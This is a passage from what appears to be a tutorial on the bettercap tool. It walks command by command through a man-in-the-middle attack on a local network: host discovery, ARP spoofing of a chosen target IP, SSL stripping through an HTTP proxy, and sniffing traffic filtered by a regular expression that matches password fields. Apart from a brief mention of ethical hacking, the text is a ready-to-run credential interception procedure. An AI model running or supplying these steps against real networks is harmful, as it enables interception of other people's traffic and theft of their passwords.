is a versatile framework and tool used for network analysis and attacks, including man-in-the-middle (MITM) attacks, network scanning, and traffic manipulation, often used in security testing and ethical hacking.
Begin by running the command bettercap -iface eth0
and press Enter. This command is used to specify the network interface (in this example, "eth0").
Enable the network probing module by typing net.probe on
and pressing Enter. This module sends various probe packets to each IP address within the current subnet, helping the net.recon module detect them.
Activate the network reconnaissance module with the command net.recon on
followed by Enter. This module continuously monitors the system's ARP table to identify new hosts on the network. It also displays the active IP addresses in real-time and starts capturing network packets.
To enable SSL stripping, input set http.proxy.sslstrip true
and press Enter.
Enable the internal ARP spoofing module by typing set arp.spoof.internal true
and pressing Enter. This module simulates local connections among computers within the internal network.
Set the target host's IP address for ARP spoofing using the command set arp.spoof.targets <Target IP>
and press Enter.
Initiate the HTTP proxy module with http.proxy on
and press Enter.
Activate the ARP spoofing module by entering arp.spoof on
and pressing Enter.
Begin network sniffing by using the command net.sniff on
followed by Enter. This module is responsible for intercepting and analyzing network traffic.
Specify the packets you want to capture by setting a regular expression with set net.sniff.regexp '.password=.+'
and pressing Enter. In this case, only packets with payloads matching the provided regular expression (.password=.+
) will be considered.
